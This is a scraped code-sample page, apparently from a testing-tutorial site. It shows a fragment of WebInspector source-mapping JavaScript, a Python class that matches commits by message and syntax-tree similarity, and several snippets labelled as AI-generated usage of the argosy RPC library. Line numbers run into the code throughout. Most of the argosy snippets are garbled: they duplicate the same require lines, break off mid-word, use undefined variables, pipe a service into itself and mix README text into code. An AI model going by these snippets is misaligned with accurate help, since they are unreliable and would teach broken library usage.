rawSourceCode);164 for (var i = 0; i < rawSourceCode._scripts.length; ++i)165 rawSourceCode._scripts[i].setSourceMapping(this);166 var data = { oldUISourceCode: oldUISourceCode, uiSourceCode: uiSourceCode };167 this.dispatchEventToListeners(WebInspector.UISourceCodeProvider.Events.UISourceCodeReplaced, data);168 },169 /**170 * @param {WebInspector.RawSourceCode} rawSourceCode171 * @paran {WebInspector.UISourceCode} uiSourceCode172 */173 _uiSourceCodeRemoved: function(rawSourceCode, uiSourceCode)174 {175 this._rawSourceCodeForUISourceCode.remove(uiSourceCode);176 this.dispatchEventToListeners(WebInspector.UISourceCodeProvider.Events.UISourceCodeRemoved, uiSourceCode);177 },178 /**179 * @param {WebInspector.Script} script180 * @param {WebInspector.RawSourceCode} rawSourceCode181 */182 _bindScriptToRawSourceCode: function(script, rawSourceCode)183 {184 this._rawSourceCodeForScriptId[script.scriptId] = rawSourceCode;185 this._rawSourceCodeForURL[script.sourceURL] = rawSourceCode;186 script.setSourceMapping(this);187 },188 reset: function()189 {190 for (var i = 0; i < this._rawSourceCodes.length; ++i) {191 var rawSourceCode = this._rawSourceCodes[i];192 this._uiSourceCodeRemoved(rawSourceCode, rawSourceCode.uiSourceCode());193 rawSourceCode.removeAllListeners();194 }195 this._rawSourceCodes = [];196 this._rawSourceCodeForScriptId = {};197 this._rawSourceCodeForURL = {};198 this._rawSourceCodeForDocumentURL = {};199 this._rawSourceCodeForUISourceCode.clear();200 }201}...

Full Screen

Full Screen

s7_CommitMatcher.py

Source:s7_CommitMatcher.py Github

copy

Full Screen

1import os2import sys3import csv4from astextractor import ASTExtractor5from properties import dataFolderPath, ASTExtractorPath, ASTExtractorPropertiesPathDetailed6from sklearn.feature_extraction.text import TfidfVectorizer7from sklearn.metrics.pairwise import cosine_similarity8from treehelpers import ted_scores, find_additions_deletions9from texthelpers import set_max_int_for_csv, execute_model, model_exists, create_model, load_model10from xmlhelpers import user_code_to_ast11from s3_extract_commit_asts import get_difference_between_asts1213class CommitMatcher:14 def __init__(self):15 set_max_int_for_csv()16 lines = []17 with open(os.path.join(dataFolderPath, "rev_add_del_asts.csv"), 'r', encoding='utf-8') as infile:18 headers = {header: h for h, header in enumerate(next(infile).strip().split('\t'))}19 for l, row in enumerate(csv.reader(infile, dialect='excel', delimiter='\t')):20 if len(row) > len(headers):21 row = row[1:]22 lines.append(row)2324 self.messages = [line[headers['message']] for line in lines]25 self.methods_before = [line[headers['code_before']] for line in lines]26 self.methods_after = [line[headers['code_after']] for line in lines]27 self.methods_before_ast = [line[headers['code_before_ast']] for line in lines]28 self.methods_after_ast = [line[headers['code_after_ast']] for line in lines]29 self.code_deletions = [line[headers['code_deletions']] for line in lines]30 self.code_additions = [line[headers['code_additions']] for line in lines]31 self.code_deletions_ast = [line[headers['code_deletions_ast']] for line in lines]32 self.code_additions_ast = [line[headers['code_additions_ast']] for line in lines]3334 self.ast_extractor = ASTExtractor(ASTExtractorPath, ASTExtractorPropertiesPathDetailed)35 if not model_exists('tfidf_comments'):36 create_model('tfidf_comments', self.messages)37 self.comment_vectorizer = load_model('tfidf_comments')38 self.comment_tfidf_model = execute_model(self.comment_vectorizer, self.messages)3940 def message_score(self, message):41 try:42 comment_tfidf_model_doc = execute_model(self.comment_vectorizer, [message])43 message_score = cosine_similarity(self.comment_tfidf_model, comment_tfidf_model_doc)44 return [m[0] for m in message_score]45 except:46 sys.exit("There was an error with message score!")4748 def code_before_score(self, code_before):49 try:50 code_before_ast = user_code_to_ast(self.ast_extractor, code_before)51 befores = []52 befores.append(code_before_ast)53 for ast in self.methods_before_ast:54 befores.append(ast)55 sc = ted_scores(befores, 0)56 return sc[1:]57 except:58 sys.exit("There was an error with code before score!")5960 def code_after_score(self, code_after):61 try:62 code_after_ast = user_code_to_ast(self.ast_extractor, code_after)63 afters = []64 afters.append(code_after_ast)65 for ast in self.methods_after_ast:66 afters.append(ast)67 sc = ted_scores(afters, 0)68 return sc[1:]69 except:70 sys.exit("There was an error with code after score!")7172 def code_deletions_score(self, code_deletions, code_before, code_after):73 try:74 if(code_deletions != None):75 code_deletions_ast = user_code_to_ast(self.ast_extractor, code_deletions)76 deletions = []77 deletions.append(code_deletions_ast)78 for ast in self.code_deletions_ast:79 deletions.append(ast)80 sc = ted_scores(deletions, 0)81 return sc[1:]82 elif(code_before!=None and code_after!=None):83 deletions, additions = find_additions_deletions(code_before, code_after)84 code_before_ast = user_code_to_ast(self.ast_extractor, code_before)85 code_after_ast = user_code_to_ast(self.ast_extractor, code_after)86 _, code_deletions_ast = get_difference_between_asts(code_before_ast, code_after_ast, additions!='', deletions!='')8788 deletions = []89 deletions.append(code_deletions_ast)90 for ast in self.code_deletions_ast:91 deletions.append(ast)92 sc = ted_scores(deletions, 0)93 return sc[1:]94 else:95 sys.exit("You must provide either code deletions or code before and code after!")96 except:97 sys.exit("There was an error with code deletions score!")9899 def code_additions_score(self, code_additions, code_before, code_after):100 try:101 if(code_additions != None):102 code_additions_ast = user_code_to_ast(self.ast_extractor, code_additions)103 additions = []104 additions.append(code_additions_ast)105 for ast in self.code_additions_ast:106 additions.append(ast)107 sc = ted_scores(additions, 0)108 return sc[1:]109 elif(code_before!=None and code_after!=None):110 deletions, additions = find_additions_deletions(code_before, code_after)111 code_before_ast = user_code_to_ast(self.ast_extractor, code_before)112 code_after_ast = user_code_to_ast(self.ast_extractor, code_after)113 code_additions_ast, _ = get_difference_between_asts(code_before_ast, code_after_ast, additions!='', deletions!='')114115 additions = []116 additions.append(code_additions_ast)117 for ast in self.code_additions_ast:118 additions.append(ast)119 sc = ted_scores(additions, 0)120 return sc[1:]121 else:122 sys.exit("You must provide either code additions or code before and code after!")123 except:124 sys.exit("There was an error with code additions score!")125126 def search(self, message=None, code_before=None, code_after=None, code_deletions=None, code_additions=None, score_by={'message': False, 'code_before': False, 'code_after': False, 'code_deletions': False, 'code_additions': False}):127 results = []128 scores = [0 for m in self.messages]129 counter = 0130131 if(score_by.get('message')):132 if(message!=None):133 message_score = self.message_score(message)134 scores = [sum(values) for values in zip(scores, message_score)]135 counter += 1136 else:137 sys.exit("You must provide a message!")138 if(score_by.get('code_before')):139 if(code_before!=None):140 code_before_score = self.code_before_score(code_before)141 scores = [sum(values) for values in zip(scores, code_before_score)]142 counter += 1143 else:144 sys.exit("You must provide the code before!")145 if(score_by.get('code_after')):146 if(code_after != None):147 code_after_score = self.code_after_score(code_after)148 scores = [sum(values) for values in zip(scores, code_after_score)]149 counter += 1150 else:151 sys.exit("You must provide the code after!")152 if(score_by.get('code_deletions')):153 code_deletions_score = self.code_deletions_score(code_deletions, code_before, code_after)154 scores = [sum(values) for values in zip(scores, code_deletions_score)]155 counter += 1156 if(score_by.get('code_additions')):157 code_additions_score = self.code_additions_score(code_additions, code_before, code_after)158 scores = [sum(values) for values in zip(scores, code_additions_score)]159 counter += 1160 if(counter != 0):161 scores = [(value/counter) for value in scores]162163 for ind, m in enumerate(self.messages):164 results.append((m, self.methods_before[ind], self.methods_after[ind], self.code_deletions[ind], self.code_additions[ind], scores[ind]))165 results.sort(key=lambda rs: rs[5], reverse=True)166 ...

Full Screen

Full Screen

Using AI Code Generation

copy

Full Screen

1var argosy = require('argosy')2var argosyPattern = require('argosy-pattern')3var argosyRpc = require('argosy-rpc')4var argosyService = require('argosy-service')5var argosyServiceRegistry = require('argosy-service-registry')6var argosyServiceLocator = require('argosy-service-locator')7var argosyServiceRegistryClient = require('argosy-service-registry-client')8var argosyServiceLocatorClient = require('argosy-service-locator-client')9var argosyServiceRegistryService = require('argosy-service-registry-service')10var argosyServiceLocatorService = require('argosy-service-locator-service')11var request = require('request')12var express = require('express')13var bodyParser = require('body-parser')14var app = express()15var http = require('http').Server(app);16var io = require('socket.io')(http);17var port = process.env.PORT || 3000;18var path = require('path')19var fs = require('fs')20var _ = require('lodash')21var async = require('async')22var argosyServiceRegistryService = require('argosy-service-registry-service')23var argosyServiceLocatorService = require('argosy-service-locator-service')24var argosyServiceRegistryClient = require('argosy-service-registry-client')25var argosyServiceLocatorClient = require('argosy-service-locator-client')26var argosyServiceRegistry = require('argosy-service-registry')27var argosyServiceLocator = require('argosy-service-locator')28var argosyServiceRegistryService = require('argosy-service-registry-service')29var argosyServiceLocatorService = require('argosy-service-locator-service')30var request = require('request')31var express = require('express')32var bodyParser = require('body-parser')33var app = express()34var http = require('http').Server(app);35var io = require('socket.io')(http);36var port = process.env.PORT || 3000;37var path = require('path')38var fs = require('fs')39var _ = require('lodash')40var async = require('async')41var argosyServiceRegistryService = require('argosy-service-registry-service')42var argosyServiceLocatorService = require('arg

Full Screen

Using AI Code Generation

copy

Full Screen

1var argosy = require('argosy')2var pattern = require('argosy-pattern')3var argosyService = argosy()4var argosyClient = argosy()5argosyService.use('math', pattern({6 add: pattern.code('a + b')7}))8 .peer(argosyService)9 .act('math:add', {10 }, function (err, result) {11 })12var argosy = require('argosy')13var pattern = require('argosy-pattern')14var argosyService = argosy()15var argosyClient = argosy()16argosyService.use('math', pattern({17 add: pattern.code('a + b')18}))19 .peer(argosyService)20 .act('math:add', {21 }, function (err, result) {22 })23var argosy = require('argosy')24var pattern = require('argosy-pattern')25var argosyService = argosy()26var argosyClient = argosy()27argosyService.use('math', pattern({28 add: pattern.code('a + b')29}))30 .peer(argosyService)31 .act('math:add', {32 }, function (err, result) {33 })34var argosy = require('argosy')35var pattern = require('argosy-pattern')36var argosyService = argosy()37var argosyClient = argosy()38argosyService.use('math', pattern({39 add: pattern.code('a + b')40}))41 .peer(argosyService)42 .act('math:add', {

Full Screen

Using AI Code Generation

copy

Full Screen

1const argosy = require('argosy')2const argosyPattern = require('argosy-pattern')3const argosyCode = require('argosy-code')4const argosyRpc = require('argosy-rpc')5const patterns = argosyPattern()6const code = argosyCode()7const rpc = argosyRpc()8const service = argosy()9 .use(rpc)10 .use(code)11 .use(patterns)12service.accept({13 add: patterns.code(function (x, y) {14 }),15 hello: patterns.code(function (name) {16 })17})18service.listen(8000)19const argosy = require('argosy')20const argosyPattern = require('argosy-pattern')21const argosyCode = require('argosy-code')22const argosyRpc = require('argosy-rpc')23const patterns = argosyPattern()24const code = argosyCode()25const rpc = argosyRpc()26const service = argosy()27 .use(rpc)28 .use(code)29 .use(patterns)30service.accept({31 add: patterns.code(function (x, y) {32 }),33 hello: patterns.code(function (name) {34 })35})36service.listen(8000)37const argosy = require('argosy')38const argosyPattern = require('argosy-pattern')39const argosyCode = require('argosy-code')40const argosyRpc = require('argosy-rpc')41const patterns = argosyPattern()42const code = argosyCode()43const rpc = argosyRpc()44const service = argosy()45 .use(rpc)46 .use(code)47 .use(patterns)48service.accept({49 add: patterns.code(function (x, y) {50 }),51 hello: patterns.code(function (name) {52 })53})54service.listen(8000)

Full Screen

Using AI Code Generation

copy

Full Screen

1var argosy = require('argosy')2var pattern = require('argosy-pattern')3var argosyService = argosy()4argosyService.pipe(argosyService)5var argosyClient = argosy()6argosyClient.pipe(argosyClient)7argosyService.accept({role: 'math', cmd: 'sum'}, function (msg, callback) {8 callback(null, {answer: msg.left + msg.right})9})10 .act({role: 'math', cmd: 'sum', left: 1, right: 2})11 .pipe(pattern({answer: pattern.number}))12 .on('data', function (msg) {13 console.log('1 + 2 = ' + msg.answer)14 })15var argosy = require('argosy')16var pattern = require('argosy-pattern')17var argosyService = argosy()18argosyService.pipe(argosyService)19var argosyClient = argosy()20argosyClient.pipe(argosyClient)21argosyService.accept({role: 'math', cmd: 'sum'}, function (msg, callback) {22 callback(null, {answer: msg.left + msg.right})23})24 .act({role: 'math', cmd: 'sum', left: 1, right: 2})25 .pipe(pattern({answer: pattern.number}))26 .on('data', function (msg) {27 console.log('1 + 2 = ' + msg.answer)28 })29#### `pattern = require('argosy-pattern')`30#### `pattern(pattern)`

Full Screen

Using AI Code Generation

copy

Full Screen

1var argosy = require('argosy')2var pattern = require('argosy-pattern')3var service = argosy()4service.accept(patterns({5 ping: argosyPatterns.Code('function (callback) { callback(null, "pong") }')6}))7service.pipe(service)8service.act('ping', function (err, pong) {9})

Full Screen

Using AI Code Generation

copy

Full Screen

1const pattern = require('argosy-pattern')2const {expect} = require('chai')3const argosy = require('argosy')4const argosyRpc = require('argosy-rpc')5const argosyService = require('..')6const service = argosy()7const rpc = argosyRpc(service)8service.pipe(argosyService({9 test: pattern({10 })11})).pipe(service)12describe('argosy-service', function () {13 it('should work', function (done) {14 rpc.test({code: 'return 1 + 1'}).then(function (response) {15 expect(response).to.equal(2)16 done()17 })18 })19})20const pattern = require('argosy-pattern')21const {expect} = require('chai')22const argosy = require('argosy')23const argosyRpc = require('argosy-rpc')24const argosyService = require('..')25const service = argosy()26const rpc = argosyRpc(service)27service.pipe(argosyService({28 test: pattern({29 })30})).pipe(service)31describe('argosy-service', function () {32 it('should work', function (done) {33 rpc.test({code: 'return 1 + 1'}).then(function (response) {34 expect(response).to.equal(2)35 done()36 })37 })38})39const pattern = require('argosy-pattern')40const {expect} = require('chai')41const argosy = require('argosy')42const argosyRpc = require('argosy-rpc')43const argosyService = require('..')44const service = argosy()45const rpc = argosyRpc(service)46service.pipe(argosyService({47 test: pattern({48 })49})).pipe(service)50describe('argosy-service', function () {51 it('should work', function (done) {52 rpc.test({code: 'return 1 + 1'}).then(function (response) {53 expect(response).to.equal(2)54 done()55 })56 })57})

Full Screen

Using AI Code Generation

copy

Full Screen

1const argosyPattern = require('argosy-pattern')2const pattern = argosyPattern({3 greet: argosyPattern.code('name => `hello, ${name}`')4})5### `argosyPattern.pattern` (Object)6const argosyPattern = require('argosy-pattern')7const pattern = argosyPattern.pattern({8 greet: argosyPattern.pattern({9 }),10 goodbye: argosyPattern.code('name => `goodbye, ${name}`')11})12### `argosyPattern.patterns` (Object)13const argosyPattern = require('argosy-pattern')14const pattern = argosyPattern.patterns({15 greet: argosyPattern.pattern({16 }),17 goodbye: argosyPattern.code('name => `goodbye, ${name}`')18})19### `argosyPattern.patterns` (Object)20const argosyPattern = require('argosy-pattern')21const pattern = argosyPattern.patterns({22 greet: argosyPattern.pattern({23 }),24 goodbye: argosyPattern.code('name => `goodbye, ${name}`')

Full Screen

Using AI Code Generation

copy

Full Screen

1var pattern = require('argosy-pattern')2var hello = pattern({ hello: String })3var hello = pattern({ hello: String }, { hello: String })4### `pattern({ hello: String, world: String }, { hello: String, world: String })`5var pattern = require('argosy-pattern')6var hello = pattern({ hello: String, world: String })7var hello = pattern({ hello: String, world: String }, { hello: String, world: String })8### `pattern({ hello: String, world: String, foo: String, bar: String }, { hello: String, world: String, foo: String, bar: String })`9var pattern = require('argosy-pattern')10var hello = pattern({ hello: String, world: String, foo: String, bar: String })11var hello = pattern({ hello: String, world: String, foo: String, bar: String }, { hello: String, world: String, foo: String, bar: String })12### `pattern({ hello: String, world: String, foo: String, bar: String, baz: String }, { hello: String, world: String, foo: String, bar: String, baz: String })`13var pattern = require('argosy-pattern')14var hello = pattern({ hello: String, world: String, foo: String, bar: String, baz: String })15var hello = pattern({ hello: String, world: String, foo: String, bar: String, baz: String }, { hello: String, world: String, foo: String, bar: String, baz: String })16### `pattern({ hello: String, world: String, foo: String, bar: String, baz: String, qux: String }, { hello: String, world: String, foo: String, bar: String, baz: String, qux: String })`17var pattern = require('argosy-pattern')

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run argos automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful